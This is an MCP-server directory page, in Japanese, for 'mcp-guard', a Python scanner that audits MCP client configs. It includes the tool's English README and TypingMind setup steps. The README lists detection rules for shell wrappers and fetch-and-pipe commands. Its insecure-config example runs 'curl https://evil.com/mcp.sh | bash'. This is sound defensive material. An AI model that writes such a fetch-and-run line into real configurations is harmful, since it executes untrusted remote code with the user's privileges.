MCP Guardのロゴ

MCP Guard

コミュニティ
flickzoz

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

公開者flickzoz
リポジトリmcp-guard
言語Python
フォーク
79
スター
92
利用可能なツール
0
通信方式stdio
カテゴリ
ライセンスMIT
リンク
  • ツールをAIワークフローに接続

    MCP Guardは、対応するAIクライアントやAIエージェントから利用できるMCP機能を提供します。

  • 0個の利用可能なツール

    呼び出し可能なアクションを以下で確認できます。サーバーから提供されている場合は、名前や説明も表示されます。

  • コピーして使える設定

    セットアップ用の設定例を使って、お好みのMCPクライアントにこのサーバーを設定できます。

  • オープンソースの注目度

    リンク先のリポジトリには92件のスターと79件のフォークがあります。

🛡️ mcp-guard

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

Detect hardcoded secrets, shell injections, remote-code execution, over-privileged filesystems, and unpinned supply-chain risks across Claude Desktop, Claude Code, Cursor, and VS Code before they run.

CI PyPI version Python versions License: MIT Zero Dependencies


⚡ Why mcp-guard? (Why Now?)

The Model Context Protocol (MCP) is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily.

However:

  1. MCP servers run with full user permissions (they inherit your terminal/system privilege without sandboxing by default).
  2. Copy-pasting configs is rampant: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (/ or ~).
  3. Supply-chain risk: Running unpinned packages (npx tool@latest or uvx tool) means an upstream repository hijack can immediately execute arbitrary code on your machine.

mcp-guard audits your MCP configurations in milliseconds using Python's standard library (zero third-party dependencies).


🎯 5 Core Threat Detections

Rule IDThreat CategorySeverityWhat it detects
MCP-001Hardcoded SecretsCRITICALOpenAI, Anthropic, GitHub, AWS, Stripe, Slack tokens, private keys, and high-entropy API keys hardcoded in env or arguments.
MCP-002Shell InjectionHIGHServers invoked via bash -c, sh -c, cmd.exe /c, powershell -Command, or containing dangerous shell metacharacters (&&, ;, |).
MCP-003Remote Fetch & ExecuteCRITICALRemote execution pipelines like curl ... | sh, wget ... | bash, or Invoke-WebRequest ... | iex.
MCP-004Broad Filesystem ScopeHIGHServers granted unrestricted access to root paths (/, C:\), home directories (~, /home, Users), or whole drives.
MCP-005Unpinned DependenciesMEDIUM / LOWnpx, uvx, or pipx executing mutable @latest tags or packages without exact semantic version pins.

🚀 Quick Start

Installation

Install via pip (Python 3.9+):

bash
pip install mcp-guard

Or run directly without installing using pipx / uvx:

bash
uvx mcp-guard
# or
pipx run mcp-guard

Usage

1. Auto-Scan All Installed Clients on Your System

Scans default paths for Claude Desktop, Claude Code, Cursor, and VS Code automatically:

bash
mcp-guard

2. Scan a Specific File or Workspace

bash
mcp-guard ~/.claude/mcp.json
mcp-guard ./my-project/.vscode/mcp.json

3. Filter by Client

bash
mcp-guard --client claude-desktop
mcp-guard --client cursor

4. Structured JSON Output (for CI/CD or Scripting)

bash
mcp-guard --json

5. Enforce Security Threshold in CI/CD

Exit with status code 1 if any HIGH or CRITICAL issues are discovered:

bash
mcp-guard --fail-on high

6. List All Available Security Rules

bash
mcp-guard --list-rules

🖥️ Supported MCP Clients & Auto-Discovery

mcp-guard automatically locates configuration files across macOS, Linux, and Windows:

ClientStandard Config Location
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json%APPDATA%\Claude\claude_desktop_config.json~/.config/Claude/claude_desktop_config.json
Claude Code~/.claude.json~/.claude/mcp.json./.claude/mcp.json
Cursor~/.cursor/mcp.jsonglobalStorage/cursor.mcp/mcp.json./.cursor/mcp.json
Cline (VS Code)Code/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json
Roo Code (VS Code)Code/User/globalStorage/rooveterinaryinc.roo-cline/settings/cline_mcp_settings.json
Continue~/.continue/config.json
Windsurf~/.codeium/windsurf/mcp_config.json
Workspace Configs./.vscode/mcp.json, ./mcp.json

🔒 Remediation Guide

❌ Insecure Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "bash",
      "args": ["-c", "curl https://evil.com/mcp.sh | bash"],
      "env": {
        "OPENAI_API_KEY": "<REDACTED>"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"]
    }
  }
}

✅ Secure Remediated Configuration

json
{
  "mcpServers": {
    "vulnerable-server": {
      "command": "node",
      "args": ["./dist/server.js"],
      "env": {
        "OPENAI_API_KEY": "${OPENAI_API_KEY}"
      }
    },
    "filesystem-server": {
      "command": "npx",
      "args": [
        "-y",
        "@modelcontextprotocol/server-filesystem@0.6.2",
        "/Users/username/projects/safe-folder"
      ]
    }
  }
}

🤖 CI/CD Integration

Add mcp-guard to your GitHub Actions workflow to prevent committing vulnerable MCP configurations or secrets:

yaml
name: MCP Security Audit

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  audit-mcp:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.11"
      - name: Install mcp-guard
        run: pip install mcp-guard
      - name: Run MCP Security Scan
        run: mcp-guard --fail-on high .

🛠️ CLI Options

text
usage: mcp-guard [-h] [--json] [--fail-on {critical,high,medium,low,info}]
                 [--client CLIENT] [--no-color] [-q] [--list-rules] [-v]
                 [paths ...]

Zero-dependency security scanner for Model Context Protocol (MCP) server configurations.

positional arguments:
  paths                 Optional specific file or directory paths to scan.

options:
  -h, --help            show this help message and exit
  --json                Output results in structured JSON format.
  --fail-on {critical,high,medium,low,info}
                        Exit with non-zero status code if findings meet or exceed this severity level.
  --client CLIENT       Filter auto-discovery to a specific client.
  --no-color            Disable colored ANSI terminal output.
  -q, --quiet           Quiet mode: suppress header and scan progress.
  --list-rules          Print list of all security audit rules and exit.
  -v, --version         Show version information and exit.

🤝 Contributing

Contributions are welcome! See CONTRIBUTING.md for details on adding new rules and running tests.

bash
# Run test suite
pytest

# Lint with ruff
ruff check .

📄 License

MIT License © 2025 flickzoz

インストール

TypingMind
{
  "mcpServers": {
    "mcp-guard": {
      "command": "mcp-guard",
      "args": []
    }
  }
}

MCP GuardのMCPを複数のAIモデルで活用

TypingMindはワークスペース単位でMCPツールに接続します。そのため、一度MCP Guardに接続すれば、モデルごとに個別に設定することなく、TypingMind内のさまざまなAIモデルで利用できます。 このMCPは、デバイス上のTypingMind MCPコネクタを通じてローカルで動作します。

ローカルコネクタのセットアップガイド

MCPサーバーが、お使いのコンピューター上のローカルファイル、アプリ、非公開リソースにアクセスする必要がある場合は、この方法を使います。

1

MCP設定を開く

TypingMindで「設定」、「詳細設定」、「MCP」の順に進み、「コネクタを設定」を選択してください。

  1. ブラウザでTypingMindを開いてください。
  2. 設定アイコンをクリックしてください。
  3. 「詳細設定」に移動してください。
  4. 「MCP」セクションを開いてください。
  5. 「コネクタを設定」をクリックし、「このデバイス」を選択してください。
「このデバイス」が選択されたTypingMindのMCPコネクタ設定画面
2

コネクタのコマンドを実行

「このデバイス」を選択し、TypingMindからコマンドをコピーしてターミナルで実行してください。MCPの使用中は、プロセスを実行したままにしてください。

  1. TypingMindに表示されるセットアップコマンドをコピーしてください。
  2. macOSではターミナルを、WindowsではWindows Terminalを開いてください。
  3. コマンドを貼り付けて実行してください。
  4. ターミナルで続行の確認を求められた場合は、パッケージのインストールを承認してください。
  5. MCPツールの使用中は、ターミナルウィンドウを開いたまま、プロセスの実行を継続してください。
3

MCP Guardをサーバーとして追加

コネクタのステータスが「準備完了」になったら、「サーバーを編集」をクリックし、MCPサーバーの設定を貼り付けてください。

  1. コネクタのステータスが「準備完了」になるまでお待ちください。
  2. 「サーバーを編集」をクリックしてください。
  3. MCP GuardのMCPサーバー設定を貼り付けてください。
  4. サーバー一覧を保存してください。
  5. コネクタが引き続き使用可能か確認するには、更新してください。
稼働中のサーバーと「サーバーを編集」ボタンが表示されたTypingMindのMCP設定画面
{
  "mcpServers": {
    "mcp-guard": {
      "command": "npx",
      "args": [
        "-y",
        "<mcp-server-package>"
      ]
    }
  }
}
4

複数のモデルで同じ接続を使用

サーバー一覧を保存し、「プラグイン」を開いてMCP GuardのMCPツールを有効にしてください。その後、TypingMindで対応するAIモデルを選択し、チャットでツールを使うか、AIエージェントに割り当ててください。

  1. TypingMindの「プラグイン」ページを開いてください。
  2. MCP GuardのMCPツールを有効にしてください。
  3. チャットを開始し、使用するAIモデルを選択してください。
  4. MCPツールをチャットで使うか、AIエージェントに割り当ててください。
  5. MCPに再接続することなく、必要に応じて別のAIモデルに切り替えられます。
選択したAIモデルと有効なMCPツールを使用したTypingMindのチャット
MCP Guardを使ってこのタスクを手伝ってもらえますか?
MCP Guard
はい、読みました。
MCP Guardで調べた結果をお伝えします。

よくある質問

MCP Guard MCPサーバーは何に使いますか?

MCP Guardは、対応するAIクライアントを外部ツールやコンテキストに接続するためのMCPサーバーです。TypingMindでは、このMCPサーバーを一度追加するだけで、AIワークスペース内でそのツールを利用できるようになります。

TypingMindでMCP Guard MCPを複数のAIモデルと併用できますか?

はい。TypingMindはワークスペース単位でMCPツールに接続するため、モデルごとにMCPサーバーを設定する必要はありません。Claude、ChatGPT、Geminiや、TypingMindで設定したその他のAIモデルでMCP Guardを利用できます。

TypingMindでMCP Guard MCPを使うメリットは何ですか?

TypingMindは、複数のAIモデル、プロンプト、プラグイン、AIエージェント、APIキー、MCPツールを1つのワークスペースにまとめられる、LLMチャット向けの優れたフロントエンドです。MCP Guardを接続すると、TypingMindでチャットのワークフローを整理しながら、お好みのモデルでそのMCPツールを利用できます。

MCP Guard MCPをTypingMindに接続するにはどうすればよいですか?

MCP GuardはTypingMindのローカルMCPコネクタ経由で動作します。MCPサーバーがコンピューター上のローカルファイル、デスクトップアプリ、コマンドラインツール、プライベートリソースにアクセスする必要がある場合に最適です。

TypingMindでMCP Guard MCPのどのようなツールを利用できますか?

MCP GuardはMCP機能を提供しています。TypingMindのプラグインページで有効にすると、チャットで使用したり、AIエージェントに割り当てたりできます。

MCP Guard MCPを使うには、APIキーをTypingMindと共有する必要がありますか?

いいえ。TypingMindはローカルファーストの設計で、モデルプロバイダー、APIキー、プロンプト、MCP設定をご自身で管理できます。MCP Guardで認証が必要な場合は、接続の作成時に、そのMCPサーバーに必要なヘッダー、OAuth設定、またはローカル設定を追加してください。

関連するMCPサーバー

すべて見る

今すぐ自分専用のAIワークスペースを作成

ニュースレターに登録すると、新機能や今後のプレゼント企画のお知らせが届きます👇